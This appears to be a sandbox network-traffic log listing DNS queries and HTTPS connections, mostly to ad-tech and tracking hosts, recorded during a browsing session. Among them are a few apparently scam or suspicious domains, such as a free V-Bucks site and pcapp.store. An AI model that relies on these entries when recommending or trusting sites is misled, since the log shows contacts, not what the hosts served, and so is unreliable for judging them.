US 8.8.8.8:53 59.78.16.52.in-addr.arpa udp
US 8.8.8.8:53 119.138.19.162.in-addr.arpa udp
US 8.8.8.8:53 204.44.254.34.in-addr.arpa udp
US 8.8.8.8:53 153.63.120.34.in-addr.arpa udp
US 8.8.8.8:53 155.36.18.104.in-addr.arpa udp
US 8.8.8.8:53 38.0.90.157.in-addr.arpa udp
US 8.8.8.8:53 3.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 56.81.224.13.in-addr.arpa udp
US 8.8.8.8:53 141.210.89.185.in-addr.arpa udp
US 8.8.8.8:53 83.138.19.162.in-addr.arpa udp
US 8.8.8.8:53 167.35.18.104.in-addr.arpa udp
US 8.8.8.8:53 2.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 77.190.64.185.in-addr.arpa udp
US 8.8.8.8:53 249.234.30.52.in-addr.arpa udp
US 8.8.8.8:53 204.135.128.178.in-addr.arpa udp
US 8.8.8.8:53 181.36.239.216.in-addr.arpa udp
US 8.8.8.8:53 225.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 154.167.233.64.in-addr.arpa udp
US 8.8.8.8:53 238.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 51.193.244.35.in-addr.arpa udp
US 8.8.8.8:53 3.200.250.142.in-addr.arpa udp
US 34.120.63.153:443 prebid.media.net udp
IE 67.220.226.234:443 aax-eu.amazon-adsystem.com tcp
GB 142.250.187.225:443 cdn.ampproject.org tcp
GB 142.250.187.225:443 cdn.ampproject.org tcp
GB 142.250.187.225:443 cdn.ampproject.org tcp
GB 142.250.187.225:443 cdn.ampproject.org tcp
GB 142.250.187.225:443 cdn.ampproject.org tcp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
BE 64.233.167.154:443 stats.g.doubleclick.net udp
GB 142.250.200.3:443 www.google.co.uk udp
FR 185.255.84.153:443 visitor.omnitagjs.com tcp
SE 23.34.232.182:443 acdn.adnxs.com tcp
BE 23.55.96.24:443 contextual.media.net tcp
US 172.64.149.180:443 js-sec.indexww.com tcp
SE 23.34.232.193:443 ads.pubmatic.com tcp
DE 162.55.236.224:443 sync.richaudience.com tcp
DE 162.55.236.224:443 sync.richaudience.com tcp
US 67.202.105.24:443 ssc-cms.33across.com tcp
DE 51.75.86.98:443 onetag-sys.com tcp
US 54.161.240.238:443 cs-server-s2s.yellowblue.io tcp
GB 2.20.12.106:443 player.aniview.com tcp
FR 178.32.197.52:443 ssbsync.smartadserver.com tcp
US 8.8.8.8:53 x.bidswitch.net udp
US 8.8.8.8:53 api-2-0.spot.im udp
US 8.8.8.8:53 sync.1rx.io udp
US 8.8.8.8:53 match.prod.bidr.io udp
US 8.8.8.8:53 match.adsrvr.org udp
US 8.8.8.8:53 image8.pubmatic.com udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 cdn.indexww.com udp
NL 178.250.1.9:443 dis.criteo.com tcp
US 35.71.131.137:443 match.adsrvr.org tcp
NL 46.228.174.117:443 sync.1rx.io tcp
GB 54.230.10.66:443 api-2-0.spot.im tcp
GB 185.64.191.214:443 image8.pubmatic.com tcp
US 54.174.33.90:443 sync.srv.stackadapt.com tcp
IE 52.17.51.131:443 match.prod.bidr.io tcp
NL 35.214.149.91:443 x.bidswitch.net tcp
US 8.8.8.8:53 153.84.255.185.in-addr.arpa udp
US 8.8.8.8:53 24.96.55.23.in-addr.arpa udp
US 8.8.8.8:53 182.232.34.23.in-addr.arpa udp
IE 52.16.250.162:443 jadserve.postrelease.com tcp
US 8.8.8.8:53 193.232.34.23.in-addr.arpa udp
US 8.8.8.8:53 106.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 98.86.75.51.in-addr.arpa udp
US 8.8.8.8:53 238.240.161.54.in-addr.arpa udp
US 8.8.8.8:53 24.105.202.67.in-addr.arpa udp
US 8.8.8.8:53 224.236.55.162.in-addr.arpa udp
US 8.8.8.8:53 52.197.32.178.in-addr.arpa udp
US 8.8.8.8:53 137.131.71.35.in-addr.arpa udp
US 8.8.8.8:53 9.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 214.191.64.185.in-addr.arpa udp
US 8.8.8.8:53 117.174.228.46.in-addr.arpa udp
US 8.8.8.8:53 66.10.230.54.in-addr.arpa udp
US 8.8.8.8:53 131.51.17.52.in-addr.arpa udp
US 8.8.8.8:53 91.149.214.35.in-addr.arpa udp
US 8.8.8.8:53 90.33.174.54.in-addr.arpa udp
US 192.132.33.69:443 bttrack.com tcp
US 35.244.174.68:443 id.rlcdn.com tcp
DE 51.75.86.98:443 onetag-sys.com udp
US 8.8.8.8:53 sync.aniview.com udp
US 216.200.232.253:443 sync.mathtag.com tcp
NL 69.173.156.149:443 pixel.rubiconproject.com tcp
FR 154.54.250.80:443 ads.stickyadstv.com tcp
US 80.77.87.166:443 cs.admanmedia.com tcp
NL 82.145.213.8:443 t.adx.opera.com tcp
NL 69.173.156.148:443 pixel.rubiconproject.com tcp
US 172.67.40.173:443 spl.zeotap.com tcp
NL 89.149.192.76:443 ssbsync-global.smartadserver.com tcp
NL 35.214.199.88:443 rtb.mfadsrvr.com tcp
GB 216.58.204.66:443 cm.g.doubleclick.net tcp
US 172.240.45.78:443 sync.aniview.com tcp
US 151.101.2.49:443 sync-tm.everesttech.net tcp
NL 63.215.202.172:443 equativ-match.dotomi.com tcp
NL 89.149.193.121:443 rtb-csync.smartadserver.com tcp
GB 216.58.204.66:443 cm.g.doubleclick.net udp
US 8.8.8.8:53 sync.search.spotxchange.com udp
US 8.8.8.8:53 pixel-sync.sitescout.com udp
BE 23.60.223.190:443 secure-assets.rubiconproject.com tcp
US 34.36.216.150:443 pixel-sync.sitescout.com tcp
US 8.8.8.8:53 sync.aniview.com udp
NL 35.214.149.91:443 x.bidswitch.net tcp
US 8.8.8.8:53 eus.rubiconproject.com udp
US 34.36.216.150:443 pixel-sync.sitescout.com udp
BE 23.55.98.169:443 eus.rubiconproject.com tcp
US 8.8.8.8:53 162.250.16.52.in-addr.arpa udp
US 8.8.8.8:53 68.174.244.35.in-addr.arpa udp
US 8.8.8.8:53 69.33.132.192.in-addr.arpa udp
US 8.8.8.8:53 80.250.54.154.in-addr.arpa udp
US 8.8.8.8:53 149.156.173.69.in-addr.arpa udp
US 8.8.8.8:53 148.156.173.69.in-addr.arpa udp
US 8.8.8.8:53 8.213.145.82.in-addr.arpa udp
US 8.8.8.8:53 173.40.67.172.in-addr.arpa udp
US 8.8.8.8:53 66.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 76.192.149.89.in-addr.arpa udp
US 8.8.8.8:53 49.2.101.151.in-addr.arpa udp
US 8.8.8.8:53 88.199.214.35.in-addr.arpa udp
US 8.8.8.8:53 172.202.215.63.in-addr.arpa udp
US 8.8.8.8:53 166.87.77.80.in-addr.arpa udp
US 8.8.8.8:53 121.193.149.89.in-addr.arpa udp
US 8.8.8.8:53 253.232.200.216.in-addr.arpa udp
US 8.8.8.8:53 78.45.240.172.in-addr.arpa udp
US 8.8.8.8:53 150.216.36.34.in-addr.arpa udp
US 8.8.8.8:53 190.223.60.23.in-addr.arpa udp
US 8.8.8.8:53 169.98.55.23.in-addr.arpa udp
NL 69.173.156.149:443 token.rubiconproject.com tcp
US 209.54.182.161:443 s.amazon-adsystem.com tcp
US 3.233.158.34:443 rum.browser-intake-datadoghq.com tcp
US 199.232.209.91:443 softonic.com udp
US 216.239.36.181:443 analytics.google.com udp
GB 163.70.147.23:443 connect.facebook.net tcp
GB 157.240.221.35:443 www.facebook.com tcp
NL 139.45.197.253:443 notix.io tcp
DE 162.19.138.119:443 lb.eu-1-id5-sync.com tcp
DE 162.19.138.83:443 lb.eu-1-id5-sync.com tcp
GB 142.250.187.238:443 chrome.google.com tcp
GB 216.58.201.110:443 chromewebstore.google.com tcp
GB 216.58.201.110:443 chromewebstore.google.com udp
GB 172.217.169.3:443 ssl.gstatic.com tcp
GB 172.217.16.225:443 lh3.googleusercontent.com tcp
GB 172.217.16.225:443 lh3.googleusercontent.com tcp
GB 172.217.16.225:443 lh3.googleusercontent.com tcp
GB 172.217.16.225:443 lh3.googleusercontent.com tcp
GB 142.250.200.14:443 apis.google.com tcp
US 8.8.8.8:53 js.adscale.de udp
GB 18.172.89.105:443 js.adscale.de tcp
GB 142.250.179.238:443 play.google.com udp
GB 142.250.179.238:443 play.google.com udp
US 8.8.8.8:53 3.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 14.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 105.89.172.18.in-addr.arpa udp
GB 142.250.179.238:443 play.google.com tcp
DE 3.126.229.14:443 ih.adscale.de tcp
GB 142.250.200.14:443 apis.google.com udp
GB 142.250.200.42:443 scone-pa.clients6.google.com tcp
NL 139.45.197.253:443 notix.io tcp
US 35.244.193.51:443 lexicon.33across.com udp
GB 172.217.169.3:443 ssl.gstatic.com udp
GB 142.250.200.42:443 scone-pa.clients6.google.com udp
US 8.8.8.8:53 14.229.126.3.in-addr.arpa udp
US 8.8.8.8:53 42.200.250.142.in-addr.arpa udp
US 104.18.41.104:443 cd.connatix.com tcp
US 8.8.8.8:53 104.41.18.104.in-addr.arpa udp
BE 88.221.83.248:443 articles-img.sftcdn.net tcp
BE 88.221.83.248:443 articles-img.sftcdn.net tcp
BE 88.221.83.248:443 articles-img.sftcdn.net tcp
US 8.8.8.8:53 capi.connatix.com udp
US 8.8.8.8:53 ins.connatix.com udp
US 8.8.8.8:53 vid.connatix.com udp
US 8.8.8.8:53 lit.connatix.com udp
DE 157.90.33.122:443 push-sdk.com tcp
US 8.8.8.8:53 tools.google.com udp
US 8.8.8.8:53 s.ytimg.com udp
GB 172.217.169.46:443 tools.google.com tcp
GB 142.250.180.14:443 s.ytimg.com tcp
US 8.8.8.8:53 248.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 122.33.90.157.in-addr.arpa udp
US 8.8.8.8:53 46.169.217.172.in-addr.arpa udp
US 104.21.41.177:443 kps2yp94aqw5yi5d2.ay.delivery tcp
US 8.8.8.8:53 imasdk.googleapis.com udp
US 8.8.8.8:53 img.connatix.com udp
GB 142.250.200.10:443 imasdk.googleapis.com tcp
US 67.202.105.24:443 ssc-cms.33across.com tcp
FR 178.32.197.52:443 ssbsync.smartadserver.com tcp
NL 178.250.1.9:443 dis.criteo.com tcp
NL 35.214.199.88:443 rtb.mfadsrvr.com udp
US 8.8.8.8:53 csp.withgoogle.com udp
US 8.8.8.8:53 177.41.21.104.in-addr.arpa udp
US 8.8.8.8:53 10.200.250.142.in-addr.arpa udp
GB 172.217.169.81:443 csp.withgoogle.com tcp
GB 172.217.169.81:443 csp.withgoogle.com udp
GB 142.250.200.10:443 imasdk.googleapis.com udp
US 8.8.8.8:53 s0.2mdn.net udp
GB 216.58.204.70:443 s0.2mdn.net tcp
US 8.8.8.8:53 api.assertcom.de udp
US 8.8.8.8:53 uidsync.net udp
DE 213.239.211.175:443 api.assertcom.de tcp
DE 157.90.33.68:443 uidsync.net tcp
US 8.8.8.8:53 pubads.g.doubleclick.net udp
DE 157.90.33.68:443 uidsync.net tcp
US 8.8.8.8:53 81.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 70.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 175.211.239.213.in-addr.arpa udp
NL 46.228.174.117:443 sync.1rx.io tcp
IE 52.17.51.131:443 match.prod.bidr.io tcp
IN 142.250.199.163:443 csi.gstatic.com tcp
IN 142.250.199.163:443 csi.gstatic.com tcp
US 54.174.33.90:443 sync.srv.stackadapt.com tcp
US 35.244.174.68:443 id.rlcdn.com udp
NL 89.149.193.121:443 rtb-csync.smartadserver.com tcp
DE 52.58.138.83:443 match.sharethrough.com tcp
IN 142.250.199.163:443 csi.gstatic.com tcp
IN 142.250.199.163:443 csi.gstatic.com tcp
IN 142.250.199.163:443 csi.gstatic.com tcp
US 104.21.49.91:443 freevbucks2022.online tcp
US 104.21.49.91:443 freevbucks2022.online tcp
GB 52.84.136.59:443 d26h1wdc757l2w.cloudfront.net tcp
US 8.8.8.8:53 djp4rqqxdnvi0.cloudfront.net udp
US 8.8.8.8:53 bootstraplugin.com udp
GB 52.84.136.133:443 djp4rqqxdnvi0.cloudfront.net tcp
GB 52.84.136.133:443 djp4rqqxdnvi0.cloudfront.net tcp
US 104.21.10.24:443 bootstraplugin.com tcp
US 8.8.8.8:53 91.49.21.104.in-addr.arpa udp
US 8.8.8.8:53 59.136.84.52.in-addr.arpa udp
US 8.8.8.8:53 133.136.84.52.in-addr.arpa udp
US 35.190.80.1:443 a.nel.cloudflare.com udp
US 8.8.8.8:53 r.bing.com udp
US 8.8.8.8:53 th.bing.com udp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 204.79.197.201:443 testfamilysafety.bing.com tcp
US 8.8.8.8:53 201.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 tse3.mm.bing.net udp
US 8.8.8.8:53 tse4.mm.bing.net udp
US 8.8.8.8:53 www.youtube.com udp
US 8.8.8.8:53 i.ytimg.com udp
GB 142.250.200.54:443 i.ytimg.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
GB 142.250.187.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 static.doubleclick.net udp
GB 172.217.169.6:443 static.doubleclick.net udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 yt3.ggpht.com udp
US 8.8.8.8:53 rr5---sn-aigl6ner.googlevideo.com udp
GB 142.250.178.10:443 jnn-pa.googleapis.com udp
GB 142.250.180.1:443 yt3.ggpht.com udp
GB 173.194.183.138:443 rr5---sn-aigl6ner.googlevideo.com tcp
GB 173.194.183.138:443 rr5---sn-aigl6ner.googlevideo.com tcp
US 8.8.8.8:53 10.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 play.google.com udp
GB 142.250.179.238:443 play.google.com udp
GB 173.194.183.138:443 rr5---sn-aigl6ner.googlevideo.com udp
US 8.8.8.8:53 138.183.194.173.in-addr.arpa udp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 8.8.8.8:53 downloadmoreram.com udp
US 104.21.73.238:443 downloadmoreram.com tcp
US 104.21.73.238:443 downloadmoreram.com tcp
US 8.8.8.8:53 platform.twitter.com udp
US 8.8.8.8:53 rlv.zcache.com udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 151.101.64.241:443 rlv.zcache.com tcp
US 151.101.64.241:443 rlv.zcache.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
PL 93.184.220.66:443 platform.twitter.com tcp
US 8.8.8.8:53 connect.facebook.net udp
US 8.8.8.8:53 238.73.21.104.in-addr.arpa udp
US 8.8.8.8:53 14.24.17.104.in-addr.arpa udp
US 8.8.8.8:53 241.64.101.151.in-addr.arpa udp
US 8.8.8.8:53 66.220.184.93.in-addr.arpa udp
US 8.8.8.8:53 platform.twitter.com udp
GB 163.70.147.23:443 connect.facebook.net tcp
GB 142.250.187.200:443 ssl.google-analytics.com tcp
GB 142.250.187.200:443 ssl.google-analytics.com udp
US 104.244.42.200:443 syndication.twitter.com tcp
GB 163.70.151.35:443 www.facebook.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com udp
US 8.8.8.8:53 th.bing.com udp
US 204.79.197.200:443 bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
US 8.8.8.8:53 www.techspot.com udp
US 172.67.29.35:443 www.techspot.com tcp
US 172.67.29.35:443 www.techspot.com tcp
US 8.8.8.8:53 cmp.quantcast.com udp
GB 3.162.20.6:443 cmp.quantcast.com tcp
US 8.8.8.8:53 6093eccf-6734-4877-ac8b-83d6d0e27b46.edge.permutive.app udp
US 8.8.8.8:53 freyr.futurecdn.net udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 172.64.146.86:443 6093eccf-6734-4877-ac8b-83d6d0e27b46.edge.permutive.app tcp
US 8.8.8.8:53 bordeaux.futurecdn.net udp
US 8.8.8.8:53 cmp.inmobi.com udp
US 8.8.8.8:53 unpkg.com udp
GB 13.224.81.94:443 freyr.futurecdn.net tcp
US 8.8.8.8:53 static.chartbeat.com udp
US 104.16.79.73:443 static.cloudflareinsights.com tcp
GB 18.172.89.29:443 cmp.inmobi.com tcp
GB 18.172.89.27:443 bordeaux.futurecdn.net tcp
US 104.17.249.203:443 unpkg.com tcp
GB 18.172.92.68:443 static.chartbeat.com tcp
GB 142.250.187.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 35.29.67.172.in-addr.arpa udp
US 8.8.8.8:53 6.20.162.3.in-addr.arpa udp
US 8.8.8.8:53 86.146.64.172.in-addr.arpa udp
US 8.8.8.8:53 73.79.16.104.in-addr.arpa udp
US 8.8.8.8:53 94.81.224.13.in-addr.arpa udp
US 8.8.8.8:53 29.89.172.18.in-addr.arpa udp
US 8.8.8.8:53 27.89.172.18.in-addr.arpa udp
US 8.8.8.8:53 203.249.17.104.in-addr.arpa udp
US 8.8.8.8:53 68.92.172.18.in-addr.arpa udp
IE 34.252.128.47:443 eventsproxy.gargantuan.futureplc.com tcp
US 54.89.56.184:443 ping.chartbeat.net tcp
IE 34.250.220.140:443 sommelier.futurehybrid.tech tcp
GB 18.172.89.94:443 ads.servebom.com tcp
DE 52.28.237.142:443 api.cmp.inmobi.com tcp
DE 52.28.237.142:443 api.cmp.inmobi.com tcp
US 8.8.8.8:53 47.128.252.34.in-addr.arpa udp
US 8.8.8.8:53 94.89.172.18.in-addr.arpa udp
US 8.8.8.8:53 140.220.250.34.in-addr.arpa udp
US 8.8.8.8:53 184.56.89.54.in-addr.arpa udp
US 8.8.8.8:53 cadmus.script.ac udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 ats-wrapper.privacymanager.io udp
US 8.8.8.8:53 cdn.adsafeprotected.com udp
US 8.8.8.8:53 prod.euid.eu udp
US 8.8.8.8:53 6093eccf-6734-4877-ac8b-83d6d0e27b46.prmutv.co udp
US 8.8.8.8:53 ib.adnxs.com udp
US 8.8.8.8:53 cdn.pbxai.com udp
GB 3.162.20.12:443 cdn.adsafeprotected.com tcp
GB 13.224.81.56:443 ats-wrapper.privacymanager.io tcp
GB 143.244.38.136:443 cdn.pbxai.com tcp
US 104.18.23.145:443 cadmus.script.ac tcp
NL 185.89.210.153:443 ib.adnxs.com tcp
US 35.241.9.51:443 6093eccf-6734-4877-ac8b-83d6d0e27b46.prmutv.co tcp
GB 3.11.112.246:443 prod.euid.eu tcp
GB 172.217.16.225:443 lh3.googleusercontent.com udp
GB 142.250.187.196:443 www.google.com udp
US 104.17.119.17:443 cdn.permutive.com tcp
US 34.107.254.252:443 api.permutive.com tcp
US 34.107.254.252:443 api.permutive.com tcp
US 34.107.254.252:443 api.permutive.com tcp
US 34.95.69.49:443 i.clean.gg tcp
US 8.8.8.8:53 153.210.89.185.in-addr.arpa udp
US 8.8.8.8:53 17.119.17.104.in-addr.arpa udp
US 8.8.8.8:53 secure-assets.rubiconproject.com udp
US 8.8.8.8:53 ups.analytics.yahoo.com udp
IE 34.251.46.222:443 bcp.crwdcntrl.net tcp
US 34.95.69.49:443 i.clean.gg udp
IE 18.203.208.113:443 g2.gumgum.com tcp
US 8.8.8.8:53 ads.pubmatic.com udp
US 8.8.8.8:53 sync.go.sonobi.com udp
NL 35.214.149.91:443 x.bidswitch.net tcp
DE 18.158.126.136:443 match.sharethrough.com tcp
DE 3.71.149.231:443 ups.analytics.yahoo.com tcp
FR 185.255.84.152:443 visitor.omnitagjs.com tcp
SE 23.34.232.193:443 ads.pubmatic.com tcp
DE 3.71.149.231:443 ups.analytics.yahoo.com tcp
BE 23.60.223.190:443 secure-assets.rubiconproject.com tcp
US 69.166.1.34:443 sync.go.sonobi.com tcp
US 69.166.1.34:443 sync.go.sonobi.com tcp
US 34.107.254.252:443 api.permutive.com udp
GB 3.162.20.68:443 pixel.servebom.com tcp
GB 142.250.187.196:443 www.google.com udp
US 69.166.1.35:443 sync.go.sonobi.com tcp
US 13.248.245.213:443 eb2.3lift.com tcp
US 67.202.105.23:443 ssc-cms.33across.com tcp
IE 34.255.32.138:443 ap.lijit.com tcp
US 35.244.159.8:443 us-u.openx.net tcp
US 35.244.159.8:443 us-u.openx.net tcp
GB 3.162.20.68:443 pixel.servebom.com tcp
US 8.8.8.8:53 player.aniview.com udp
US 8.8.8.8:53 222.46.251.34.in-addr.arpa udp
US 8.8.8.8:53 113.208.203.18.in-addr.arpa udp
US 8.8.8.8:53 152.84.255.185.in-addr.arpa udp
US 8.8.8.8:53 136.126.158.18.in-addr.arpa udp
US 8.8.8.8:53 231.149.71.3.in-addr.arpa udp
US 8.8.8.8:53 34.1.166.69.in-addr.arpa udp
US 8.8.8.8:53 68.20.162.3.in-addr.arpa udp
US 8.8.8.8:53 213.245.248.13.in-addr.arpa udp
US 8.8.8.8:53 138.32.255.34.in-addr.arpa udp
US 8.8.8.8:53 35.1.166.69.in-addr.arpa udp
US 8.8.8.8:53 23.105.202.67.in-addr.arpa udp
US 8.8.8.8:53 ssbsync.smartadserver.com udp
US 8.8.8.8:53 bh.contextweb.com udp
US 8.8.8.8:53 c1.adform.net udp
US 8.8.8.8:53 eus.rubiconproject.com udp
US 8.8.8.8:53 pixel.servebom.com udp
US 8.8.8.8:53 tg.socdm.com udp
US 8.8.8.8:53 cm.g.doubleclick.net udp
US 8.8.8.8:53 creativecdn.com udp
US 8.8.8.8:53 pixel.adsafeprotected.com udp
US 54.156.110.223:443 cs-server-s2s.yellowblue.io tcp
US 54.159.1.74:443 sync.srv.stackadapt.com tcp
DE 37.252.171.53:443 secure.adnxs.com tcp
IE 34.240.255.196:443 pr-bh.ybp.yahoo.com tcp
US 104.17.43.93:443 gum.aidemsrv.com tcp
DE 51.75.86.98:443 onetag-sys.com tcp
GB 2.20.12.70:443 player.aniview.com udp
US 216.239.36.181:443 analytics.google.com udp
BE 64.233.167.154:443 stats.g.doubleclick.net udp
US 35.71.131.137:443 match.adsrvr.org tcp
US 8.8.8.8:53 tlx.3lift.com udp
US 52.7.6.175:443 sync.ipredictive.com tcp
DK 37.157.6.232:443 c1.adform.net tcp
FR 217.182.178.228:443 ssbsync.smartadserver.com tcp
NL 185.184.8.90:443 creativecdn.com tcp
NL 208.93.169.131:443 bh.contextweb.com tcp
JP 124.146.153.161:443 tg.socdm.com tcp
US 70.42.32.31:443 b1sync.zemanta.com tcp
DE 37.252.171.53:443 secure.adnxs.com tcp
DE 37.252.171.53:443 secure.adnxs.com tcp
NL 185.184.8.90:443 creativecdn.com tcp
US 169.197.150.7:443 match.deepintent.com tcp
GB 172.217.16.226:443 cm.g.doubleclick.net udp
IE 54.220.156.68:443 pixel.adsafeprotected.com tcp
DE 3.124.64.248:443 tlx.3lift.com tcp
NL 35.214.149.91:443 x.bidswitch.net tcp
US 52.7.6.175:443 sync.ipredictive.com tcp
US 169.197.150.7:443 match.deepintent.com tcp
US 70.42.32.31:443 b1sync.zemanta.com tcp
NL 208.93.169.131:443 bh.contextweb.com tcp
FR 217.182.178.228:443 ssbsync.smartadserver.com tcp
DK 37.157.6.232:443 c1.adform.net tcp
US 70.42.32.31:443 b1sync.zemanta.com tcp
NL 178.250.1.9:443 dis.criteo.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 70.42.32.31:443 b1sync.zemanta.com tcp
FR 217.182.178.228:443 ssbsync.smartadserver.com tcp
NL 147.75.84.158:443 prebid.a-mo.net tcp
US 54.159.1.74:443 sync.srv.stackadapt.com tcp
IE 63.33.111.171:443 ads.yieldmo.com tcp
NL 69.173.156.139:443 fastlane.rubiconproject.com tcp
NL 69.173.156.139:443 fastlane.rubiconproject.com tcp
NL 69.173.156.139:443 fastlane.rubiconproject.com tcp
JP 124.146.153.161:443 tg.socdm.com tcp
US 80.77.87.166:443 cs.admanmedia.com tcp
NL 178.250.1.8:443 bidder.criteo.com tcp
IE 52.49.169.20:443 match.prod.bidr.io tcp
US 192.132.33.69:443 bttrack.com tcp
DE 162.19.138.119:443 lb.eu-1-id5-sync.com tcp
US 35.244.174.68:443 id.rlcdn.com udp
IE 54.74.86.62:443 jadserve.postrelease.com tcp
US 35.244.159.8:443 us-u.openx.net udp
DE 162.19.138.116:443 lb.eu-1-id5-sync.com tcp
BE 23.55.98.169:443 eus.rubiconproject.com tcp
US 34.107.254.252:443 api.permutive.com udp
US 8.8.8.8:53 74.1.159.54.in-addr.arpa udp
US 8.8.8.8:53 226.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 175.6.7.52.in-addr.arpa udp
US 8.8.8.8:53 228.178.182.217.in-addr.arpa udp
US 8.8.8.8:53 232.6.157.37.in-addr.arpa udp
US 8.8.8.8:53 131.169.93.208.in-addr.arpa udp
US 8.8.8.8:53 90.8.184.185.in-addr.arpa udp
US 8.8.8.8:53 248.64.124.3.in-addr.arpa udp
US 8.8.8.8:53 158.84.75.147.in-addr.arpa udp
US 8.8.8.8:53 68.156.220.54.in-addr.arpa udp
US 8.8.8.8:53 31.32.42.70.in-addr.arpa udp
US 8.8.8.8:53 7.150.197.169.in-addr.arpa udp
US 8.8.8.8:53 139.156.173.69.in-addr.arpa udp
US 8.8.8.8:53 171.111.33.63.in-addr.arpa udp
US 8.8.8.8:53 8.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 20.169.49.52.in-addr.arpa udp
US 8.8.8.8:53 116.138.19.162.in-addr.arpa udp
US 8.8.8.8:53 161.153.146.124.in-addr.arpa udp
US 104.17.249.203:443 unpkg.com tcp
IE 34.252.128.47:443 eventsproxy.gargantuan.futureplc.com tcp
GB 163.70.147.23:443 static.xx.fbcdn.net tcp
GB 163.70.147.23:443 static.xx.fbcdn.net tcp
GB 163.70.147.23:443 static.xx.fbcdn.net tcp
GB 163.70.147.23:443 static.xx.fbcdn.net tcp
GB 163.70.147.23:443 static.xx.fbcdn.net tcp
GB 163.70.147.23:443 static.xx.fbcdn.net tcp
DE 3.67.143.30:443 1x1.a-mo.net tcp
US 18.233.239.146:443 api.pbxai.com tcp
GB 142.250.187.225:443 cdn.ampproject.org udp
GB 172.217.16.225:443 lh3.googleusercontent.com udp
GB 54.230.10.111:443 check.analytics.rlcdn.com tcp
NL 178.250.1.3:443 static.criteo.net tcp
NL 178.250.1.11:443 gum.criteo.com tcp
US 8.8.8.8:53 api.rlcdn.com udp
US 8.8.8.8:53 acdn.adnxs.com udp
US 8.8.8.8:53 sync.a-mo.net udp
US 34.120.133.55:443 api.rlcdn.com tcp
NL 145.40.97.67:443 sync.a-mo.net tcp
US 8.8.8.8:53 ag.gbc.criteo.com udp
US 8.8.8.8:53 gem.gbc.criteo.com udp
FR 185.235.86.60:443 ag.gbc.criteo.com tcp
FR 185.235.86.190:443 gem.gbc.criteo.com tcp
NL 178.250.1.11:443 dnacdn.net tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 8.8.8.8:53 token.rubiconproject.com udp
US 8.8.8.8:53 assets.a-mo.net udp
NL 69.173.156.149:443 token.rubiconproject.com tcp
US 104.19.158.19:443 assets.a-mo.net tcp
US 8.8.8.8:53 60.86.235.185.in-addr.arpa udp
US 8.8.8.8:53 19.158.19.104.in-addr.arpa udp
US 8.8.8.8:53 190.86.235.185.in-addr.arpa udp
US 104.16.79.73:443 static.cloudflareinsights.com tcp
GB 3.162.21.19:443 c.amazon-adsystem.com tcp
GB 18.172.93.140:443 aax.amazon-adsystem.com tcp
US 8.8.8.8:53 free-st.t-com.hr udp
HR 195.29.150.216:443 free-st.t-com.hr tcp
HR 195.29.150.216:443 free-st.t-com.hr tcp
US 8.8.8.8:53 bordeaux-gateway.futureplc.com udp
IE 34.250.220.140:443 bordeaux-gateway.futureplc.com tcp
US 8.8.8.8:53 csm.nl3.eu.criteo.net udp
NL 178.250.1.25:443 csm.nl3.eu.criteo.net tcp
US 8.8.8.8:53 prod.us-east-1.cxm-bcn.publisher-services.amazon.dev udp
US 54.91.134.202:443 prod.us-east-1.cxm-bcn.publisher-services.amazon.dev tcp
NL 178.250.1.8:443 bidder.criteo.com tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 202.134.91.54.in-addr.arpa udp
DE 162.19.138.119:443 lb.eu-1-id5-sync.com tcp
DE 162.19.138.116:443 lb.eu-1-id5-sync.com tcp
GB 172.217.169.65:443 d1688df49f7157c993ffacd642fac3cf.safeframe.googlesyndication.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 static.adsafeprotected.com udp
IE 67.220.226.238:443 aax-eu.amazon-adsystem.com tcp
IE 67.220.226.238:443 aax-eu.amazon-adsystem.com tcp
US 8.8.8.8:53 m.media-amazon.com udp
US 8.8.8.8:53 ts.amazon-adsystem.com udp
GB 18.172.89.95:443 static.adsafeprotected.com tcp
IE 67.220.226.238:443 aax-eu.amazon-adsystem.com tcp
US 8.8.8.8:53 pcapp.store udp
GB 18.172.95.129:443 m.media-amazon.com tcp
GB 18.172.95.129:443 m.media-amazon.com tcp
GB 18.172.95.129:443 m.media-amazon.com tcp
GB 18.172.89.16:443 ts.amazon-adsystem.com tcp
IE 67.220.226.238:443 aax-eu.amazon-adsystem.com tcp
US 45.32.1.23:443 pcapp.store tcp
US 45.32.1.23:443 pcapp.store tcp
GB 18.172.89.16:443 ts.amazon-adsystem.com tcp
